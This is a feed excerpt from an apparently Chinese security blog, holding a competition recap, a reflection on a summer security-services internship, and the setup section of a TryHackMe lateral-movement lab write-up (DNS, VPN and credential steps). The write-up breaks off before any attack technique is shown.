&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-9.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-10.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;比赛&lt;/h1&gt;
&lt;h2&gt;白盒内疚&lt;/h2&gt;
&lt;p&gt;第二天比赛&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-11.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-12.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-13.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-14.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;赛制跟上届师傅们说的不太一样&lt;/p&gt;
&lt;p&gt;白盒安全资格赛CTF中RE师傅and1解出一题，我们便有了测试赛资格&lt;/p&gt;
&lt;p&gt;唉，现在写的心情有点难受&lt;/p&gt;
&lt;p&gt;比赛的重点不在于CTF(甚至不需要交WP)，CTF只是个入口&lt;/p&gt;
&lt;p&gt;去年的经验，拉分项在于黑盒白盒和甲方渗透&lt;/p&gt;
&lt;p&gt;但是今年打的时候发现没有黑盒和甲方渗透&lt;/p&gt;
&lt;p&gt;我和悠悠俩个WEB师傅打白盒&lt;/p&gt;
&lt;p&gt;我俩并没有为了刷分而刷分&lt;/p&gt;
&lt;p&gt;白盒一共三个等级leve1::轻微干扰;level2:干扰;level3:逃逸&lt;/p&gt;
&lt;p&gt;在悠悠的熏陶下我也深谙拟态&lt;/p&gt;
&lt;p&gt;于是我俩奔着逃逸去了，放弃刷分&lt;/p&gt;
&lt;p&gt;每题挑战机会每天仅有一次，随着一天天过去我们发现，主办方将多数表决设置为全部表决，这就导致如果在仅有俩台执行体的情况下是无法逃逸&lt;/p&gt;
&lt;p&gt;当我们发现时已经晚了&lt;/p&gt;
&lt;p&gt;最后一天整理赛制时发现一个令我追悔莫及的事情&lt;/p&gt;
&lt;p&gt;今年的白盒和去年的白盒题目完全一样&lt;/p&gt;
&lt;p&gt;也就是说凭借着去年师傅们的经验就可以在白盒赛道拿下第一第二&lt;/p&gt;
&lt;p&gt;真自责啊&lt;/p&gt;
&lt;h2&gt;低空经济&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-15.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;赛后我们得知，今年院士对无人机感兴趣，所以无人机设为拉分项&lt;/p&gt;
&lt;p&gt;被狠狠打了信息差&lt;/p&gt;
&lt;p&gt;我们四个没人会IOT&lt;/p&gt;
&lt;p&gt;别的队伍都打穿了好几台，拿了好几万分，我们队伍还无动于衷&lt;/p&gt;
&lt;p&gt;线上固件xsh师傅都挖吐血了，但是想拉分太难了，得靠线下无人机零固件漏洞和无人机漏洞&lt;/p&gt;
&lt;p&gt;零固件我们四个当中（俩WEB，一AI，一PWN）也没有挖过实体&lt;/p&gt;
&lt;p&gt;尝试时我侥幸拿了些分(通过web的方式，让通信固件宕机)&lt;/p&gt;
&lt;p&gt;最后一晚由于简单的无人机都被打穿，我们只能挖大疆这种商用军用高难的(别的队伍挖不出来的)&lt;/p&gt;
&lt;p&gt;我现学了hackrf无线电攻击，不过对这种安全系数高-调频无人机没有奏效(但是对被打穿的无人机有效，哭死)&lt;/p&gt;
&lt;p&gt;我们在用手机连接无人机，其中传输文件时进行抓包时，成功使五人机宕机(重启也无法恢复)  &lt;/p&gt;
&lt;h2&gt;车联网&lt;/h2&gt;
&lt;p&gt;我不会捏，比赛时结识了队里的小黑师傅，感觉他特别特别特别牛，什么都会，膜拜&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-16.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-17.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;AI&lt;/h2&gt;
&lt;p&gt;被蒜末(国防科大博士)带飞了&lt;/p&gt;
&lt;p&gt;他一个人打到了团队赛第三名的位置&lt;/p&gt;
&lt;p&gt;NB&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-18.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;颁奖&lt;/h2&gt;
&lt;p&gt;AI赛道二等奖(第三名)&lt;/p&gt;
&lt;p&gt;设计赛优秀奖&lt;/p&gt;
&lt;p&gt;设计赛入围奖&lt;/p&gt;
&lt;p&gt;互联网+云服务+车联网赛道优秀奖&lt;/p&gt;
&lt;p&gt;由于部分战队没来，我们被抓上去代领（其实是赛宁姐人好，让我们去露脸领奖）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;最后拿了一堆奖杯&lt;/p&gt;
&lt;p&gt;把隔壁战队的师傅眼睛都看直了！！！哈哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-20.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;新伙伴&lt;/h2&gt;
&lt;p&gt;我们的背后就是工作人员，运维人员&lt;/p&gt;
&lt;p&gt;由于经常回头呼叫裁判，很快就和身后的搞笑女-赛宁贝塔姐打成一片了&lt;/p&gt;
&lt;p&gt;她送了我们每人一份贴纸&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-21.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;赛后下午她带我们逛了逛南京(紫金山实验室，赛宁公司等)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-23.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;晚上一块聚了餐&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-24.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B/&quot;&gt;https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 24 Nov 2024 00:00:00 GMT</pubDate></item><item><title>安服仔小记</title><link>https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E4%BB%94%E5%B0%8F%E8%AE%B0/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E4%BB%94%E5%B0%8F%E8%AE%B0/</guid><description>大一-暑期实习</description><content:encoded>&lt;p&gt;一眨眼学WEB安全就半年多了，上班也要结束了，准备上学&lt;/p&gt;
&lt;p&gt;回过头有种轻舟已过万重山的感觉，虽然一如既往的不自信&lt;/p&gt;
&lt;p&gt;这半年从杂项仔变成Web仔，从星盟预备队提升星盟一番队，从大学生入职安服仔&lt;/p&gt;
&lt;p&gt;开学还要补考书翻都没翻过的三科，感觉很快就要重开大一了&lt;/p&gt;
&lt;p&gt;暑期拿着安服实习的微薄薪资，手上却负责国护蓝队，省护红队，驻场渗透等项目&lt;/p&gt;
&lt;p&gt;入职前从领导那里得知自己面试排名第一，岗位机动，负责红队与渗透测试&lt;/p&gt;
&lt;p&gt;刚入职的一周在公司呆的好爽，没什么活，随便测测几个项目，之后带薪自习就完事了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E5%AE%89%E6%9C%8D%E4%BB%94%E5%B0%8F%E8%AE%B0-1.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没过多久就把我派到甲方运营厅驻场，谁知在这边一驻就是一假期&lt;/p&gt;
&lt;p&gt;来的第一天驻场负责人便让我渗透测试省运营厅公网主站&lt;/p&gt;
&lt;p&gt;非常难测，让我一度怀疑自己渗透测试水平&lt;/p&gt;
&lt;p&gt;入职至今没有人能带我，单打独斗上来就是地狱难度，心态崩了&lt;/p&gt;
&lt;p&gt;这个主站+公众号+小程序我测了一个星期，说实话真的是煎熬，压力挺大的，每天水几个中低危洞很过意不去&lt;/p&gt;
&lt;p&gt;刚开始测的时候被动扫描白名单没配好，导致被动扫描到总部了哈哈，驻场负责人让我重配并狠狠捏了捏我的肩膀&lt;/p&gt;
&lt;p&gt;随后的一周便开始了内网渗透与暴露面渗透，主要测试的是运营厅的各个系统&lt;/p&gt;
&lt;p&gt;信心逐渐增加，渗透变得得心应手，报告的篇幅越来越长&lt;/p&gt;
&lt;p&gt;却从一开始的期待变成了如今无奈&lt;/p&gt;
&lt;p&gt;需要测试的系统无尽无休，每天能从早忙到晚，而漏洞类型无非就那几样，技术提升的增长速率日渐变得缓慢&lt;/p&gt;
&lt;p&gt;有的时候下班后真的连电脑都不想碰了&lt;/p&gt;
&lt;p&gt;这段时间的成果部分成果就是免杀以及一晚上刷了十来张CNVD证书&lt;/p&gt;
&lt;p&gt;跟同事们一块聚餐-川菜馆-疯狂星期四-煲仔饭（领导掏钱）&lt;/p&gt;
&lt;p&gt;节假日加班时午餐俩荤一素的盒饭与自选的霸王茶姬&lt;/p&gt;
&lt;p&gt;入职动过俩次辞职的念头&lt;/p&gt;
&lt;p&gt;一是刚得知要去六七公里外的运营厅驻场，车费一天就三四十，以为不给报销&lt;/p&gt;
&lt;p&gt;二是月中发工资时看着3K多的薪水决定下班就申请辞职&lt;/p&gt;
&lt;p&gt;最后还是再忍半个月吧.....&lt;/p&gt;
&lt;p&gt;甲方运营厅这边SOC安全运营中心入职的大部分都是研究生名校毕业或者父母就在运营厅&lt;/p&gt;
&lt;p&gt;前段时间来了个刚毕业实习的女生，入职运营厅后我带了一会，发现就练过皮卡丘这种入门靶场，CTF都不曾打&lt;/p&gt;
&lt;p&gt;或许甲方的确不注重技术吧&lt;/p&gt;
&lt;p&gt;这几天焦虑得通宵睡不着觉，感觉自己好多没学，网络安全如汪洋，只恨入行过晚，又恨不够聪颖，资质平平&lt;/p&gt;
&lt;p&gt;毕业的学长让我钻研一个方向而不是全学，准备以内网渗透为主，将重心放在内网安全，域安全，云安全上&lt;/p&gt;
&lt;p&gt;安服仔干得够够了，向红队出发吧&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E4%BB%94%E5%B0%8F%E8%AE%B0/&quot;&gt;https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E4%BB%94%E5%B0%8F%E8%AE%B0/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 22 Aug 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Lateral Movement and Pivoting</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-lateral-movement-and-pivoting/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-lateral-movement-and-pivoting/</guid><description>Red Teaming</description><content:encoded>&lt;p&gt;靶场网络拓扑：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-2.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;In this room, we will look at lateral movement, a group of techniques used by attackers to move around the network while creating as few alerts as possible. We&amp;#39;ll learn about several common techniques used in the wild for this end and the tools involved&lt;br&gt;在这个房间里，我们将研究横向移动，这是攻击者用来在网络中移动的一组技术，同时尽可能少地创建警报。我们将了解野外为此目的使用的几种常用技术以及所涉及的工具.&lt;/p&gt;
&lt;p&gt;It is recommended to go through the &lt;a href=&quot;https://tryhackme.com/room/breachingad&quot;&gt;BreachingAD&lt;/a&gt; and &lt;a href=&quot;https://tryhackme.com/room/adenumeration&quot;&gt;EnumeratingAD&lt;/a&gt; rooms before this one.&lt;br&gt;建议在此之前浏览 Bdisruption AD 和 Enumerating AD 房间。&lt;/p&gt;
&lt;h2&gt;Learning Objectives 学习目标&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Familiarise yourself with the lateral movement techniques used by attackers.&lt;br&gt;熟悉攻击者使用的横向移动技术。&lt;/li&gt;
&lt;li&gt;Learn how to use alternative authentication material to move laterally.&lt;br&gt;了解如何使用替代身份验证材料横向移动。&lt;/li&gt;
&lt;li&gt;Learn different methods to use compromised hosts as pivots.&lt;br&gt;了解使用受感染主机作为透视的不同方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Connecting to the Network&lt;/h2&gt;
&lt;p&gt;连接到网络
&lt;strong&gt;AttackBox&lt;/strong&gt;** **&lt;strong&gt;攻击盒&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;If you are using the Web-based AttackBox, you will be connected to the network automatically if you start the AttackBox from the room&amp;#39;s page. You can verify this by running the ping command against the IP of the THMDC.za.tryhackme.com host. We do still need to configure &lt;u&gt;DNS&lt;/u&gt;, however. Windows Networks use the Domain Name Service (&lt;u&gt;DNS&lt;/u&gt;) to resolve hostnames to IPs. Throughout this network, &lt;u&gt;DNS&lt;/u&gt; will be used for the tasks. You will have to configure &lt;u&gt;DNS&lt;/u&gt; on the host on which you are running the VPN connection. In order to configure our &lt;u&gt;DNS&lt;/u&gt;, run the following command:&lt;br&gt;如果您使用的是基于 Web 的 AttackBox，则从聊天室页面启动 AttackBox 时，您将自动连接到网络。您可以通过对 THMDC.za.tryhackme.com 主机的 IP 运行 ping 命令来验证这一点。但是，我们仍然需要配置 DNS。Windows 网络使用域名服务 （DNS） 将主机名解析为 IP。在整个网络中，DNS将用于任务。您必须在运行 VPN 连接的主机上配置 DNS。要配置我们的 DNS，请运行以下命令：&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[thm@thm]$ systemd-resolve --interface lateralmovement --set-dns $THMDCIP --set-domain za.tryhackme.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember to replace $THMDCIP with the IP of THMDC in your network diagram.&lt;br&gt;请记住在网络图中将 $THMDCIP 替换为 THMDC 的 IP。&lt;/p&gt;
&lt;p&gt;You can test that &lt;u&gt;DNS&lt;/u&gt; is working by running:&lt;br&gt;您可以通过运行以下命令来测试 DNS 是否正常工作：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;nslookup thmdc.za.tryhackme.com&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This should resolve to the IP of your &lt;u&gt;DC&lt;/u&gt;.&lt;br&gt;这应该解析为您的 DC 的 IP。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;&lt;u&gt;DNS&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;may be reset on the AttackBox roughly every 3 hours. If this occurs, you will have to restart the systemd-resolved service. If your AttackBox terminates and you continue with the room at a later stage, you will have to redo all the&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;u&gt;DNS&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;steps.&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;**&lt;strong&gt;注意：AttackBox 上的 DNS 可能大约每 3 小时重置一次。如果发生这种情况，您将不得不重新启动 systemd 解析的服务。如果您的 AttackBox 终止，并且您在稍后阶段继续使用房间，则必须重做所有 DNS 步骤。&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;You should also take the time to make note of your &lt;u&gt;VPN&lt;/u&gt; IP. Using &lt;strong&gt;ifconfig&lt;/strong&gt; or &lt;strong&gt;ip a&lt;/strong&gt;, make note of the IP of the &lt;strong&gt;lateralmovement&lt;/strong&gt; network adapter. This is your IP and the associated interface that you should use when performing the attacks in the tasks.&lt;br&gt;您还应该花时间记下您的 VPN IP。使用 &lt;strong&gt;ifconfig&lt;/strong&gt; 或 &lt;strong&gt;ip a&lt;/strong&gt; ，记下横向移动网络适配器的 IP。这是您的 IP 和在任务中执行攻击时应使用的关联接口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Other Hosts&lt;/strong&gt;** **&lt;strong&gt;其他主机&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;If you are going to use your own attack machine, an OpenVPN configuration file will have been generated for you once you join the room. Go to your &lt;a href=&quot;https://tryhackme.com/access&quot;&gt;access&lt;/a&gt; page. Select &lt;strong&gt;Lateralmovementandpivoting&lt;/strong&gt; from the &lt;u&gt;VPN&lt;/u&gt; servers (under the network tab) and download your configuration file.&lt;br&gt;如果您要使用自己的攻击机，则在您加入房间后将为您生成一个OpenVPN配置文件。转到您的访问页面。从 VPN 服务器（在网络选项卡下）中进行选择 &lt;strong&gt;Lateralmovementandpivoting&lt;/strong&gt; 并下载配置文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-3.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Use an OpenVPN client to connect. This example is shown on a Linux machine; similar guides to connect using Windows or macOS can be found at your &lt;a href=&quot;https://tryhackme.com/r/access&quot;&gt;access&lt;/a&gt; page.&lt;br&gt;使用 OpenVPN 客户端进行连接。此示例显示在 Linux 计算机上;可以在访问页面上找到使用 Windows 或 macOS 进行连接的类似指南。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[thm@thm]$ sudo openvpn user-lateralmovementandpivoting.ovpn
Fri Mar 11 15:06:20 2022 OpenVPN 2.4.9 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 19 2020
Fri Mar 11 15:06:20 2022 library versions: OpenSSL 1.1.1g FIPS  21 Apr 2020, LZO 2.08
[....]
Fri Mar 11 15:06:22 2022 /sbin/ip link set dev lateralmovement up mtu 1500
Fri Mar 11 15:06:22 2022 /sbin/ip addr add dev lateralmovement 10.50.2.3/24 broadcast 10.50.2.255
Fri Mar 11 15:06:22 2022 /sbin/ip route add 10.200.4.0/24 metric 1000 via 10.50.2.1
Fri Mar 11 15:06:22 2022 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Fri Mar 11 15:06:22 2022 Initialization Sequence Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The message &amp;quot;Initialization Sequence Completed&amp;quot; tells you that you are now connected to the network. Return to your access page. You can verify you are connected by looking on your access page. Refresh the page, and you should see a green tick next to Connected. It will also show you your internal IP address.&lt;br&gt;消息“初始化序列已完成”告诉您现在已连接到网络。返回到您的访问页面。您可以通过查看访问页面来验证您是否已连接。刷新页面，您应该会在“已连接”旁边看到一个绿色勾号。它还将显示您的内部 IP 地址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-4.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You still have to configure &lt;u&gt;DNS&lt;/u&gt; similar to what was shown above. It is important to note that although not used, the DC does log &lt;u&gt;DNS&lt;/u&gt; requests. If you are using your machine, these logs may include the hostname of your device.&lt;br&gt;注意：您仍然需要配置类似于上面显示的 DNS。需要注意的是，尽管未使用，但 DC 会记录 DNS 请求。如果您使用的是计算机，则这些日志可能包括设备的主机名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kali&lt;/strong&gt;** **&lt;strong&gt;卡莉&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you are using a Kali VM, Network Manager is most likely used as &lt;u&gt;DNS&lt;/u&gt; manager. You can use GUI Menu to configure &lt;u&gt;DNS&lt;/u&gt;:&lt;br&gt;如果您使用的是 Kali VM，则 Network Manager 最有可能用作 DNS 管理器。您可以使用 GUI 菜单来配置 DNS：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Network Manager -&amp;gt; Advanced Network Configuration -&amp;gt; Your Connection -&amp;gt; IPv4 Settings&lt;br&gt;网络管理器 -&amp;gt; 高级网络配置 -&amp;gt;连接 -&amp;gt; IPv4 设置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set your &lt;u&gt;DNS&lt;/u&gt; IP here to the IP for THMDC in the network diagram above&lt;br&gt;在此处将您的 DNS IP 设置为上面网络图中 THMDC 的 IP  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add another &lt;u&gt;DNS&lt;/u&gt; such as 1.1.1.1 or similar to ensure you still have internet access&lt;br&gt;添加另一个DNS，例如1.1.1.1或类似的DNS，以确保您仍然可以访问Internet。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Run &lt;strong&gt;sudo systemctl restart NetworkManager&lt;/strong&gt; and test your &lt;u&gt;DNS&lt;/u&gt; similar to the steps above.&lt;br&gt;运行 &lt;strong&gt;sudo systemctl restart NetworkManager&lt;/strong&gt; 并测试 DNS，类似于上述步骤。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When configuring your &lt;u&gt;DNS&lt;/u&gt; in this way, the &lt;strong&gt;nslookup&lt;/strong&gt; command won&amp;#39;t work as expected. To test if you configured your DNS correctly, just navigate to &lt;a href=&quot;http://distributor.za.tryhackme.com/creds&quot;&gt;http://distributor.za.tryhackme.com/creds&lt;/a&gt;. If you see the website, you are set up for the rest of the room.&lt;br&gt;注意：以这种方式配置 DNS 时，该 &lt;strong&gt;nslookup&lt;/strong&gt; 命令将无法按预期工作。要测试是否正确配置了 DNS，只需导航到 &lt;a href=&quot;http://distributor.za.tryhackme.com/creds%E3%80%82%E5%A6%82%E6%9E%9C%E6%82%A8%E7%9C%8B%E5%88%B0%E8%AF%A5%E7%BD%91%E7%AB%99%EF%BC%8C%E5%88%99%E6%82%A8%E5%B7%B2%E4%B8%BA%E6%88%BF%E9%97%B4%E7%9A%84%E5%85%B6%E4%BD%99%E9%83%A8%E5%88%86%E5%81%9A%E5%A5%BD%E4%BA%86%E5%87%86%E5%A4%87%E3%80%82&quot;&gt;http://distributor.za.tryhackme.com/creds。如果您看到该网站，则您已为房间的其余部分做好了准备。&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Requesting Your Credentials&lt;/h2&gt;
&lt;p&gt;请求您的凭据
To simulate an AD breach, you will be provided with your first set of AD credentials. Once your networking setup has been completed, on your Attack Box, navigate to &lt;a href=&quot;http://distributor.za.tryhackme.com/creds&quot;&gt;http://distributor.za.tryhackme.com/creds&lt;/a&gt; to request your credential pair. Click the &amp;quot;Get Credentials&amp;quot; button to receive your credential pair that can be used for initial access.&lt;br&gt;要模拟 AD 违规，您将获得第一组 AD 凭据。完成网络设置后，在攻击框中，导航到 &lt;a href=&quot;http://distributor.za.tryhackme.com/creds&quot;&gt;http://distributor.za.tryhackme.com/creds&lt;/a&gt; 以请求凭据对。单击“获取凭据”按钮以接收可用于初始访问的凭证对。&lt;/p&gt;
&lt;p&gt;This credential pair will provide you &lt;u&gt;SSH&lt;/u&gt; access to THMJMP2.za.tryhackme.com. THMJMP2 can be seen as a jump host into this environment, simulating a foothold that you have achieved.&lt;br&gt;此凭证对将为您提供对 THMJMP2.za.tryhackme.com 的 SSH 访问。THMJMP2可以看作是进入这个环境的跳跃主机，模拟你已经实现的立足点。&lt;/p&gt;
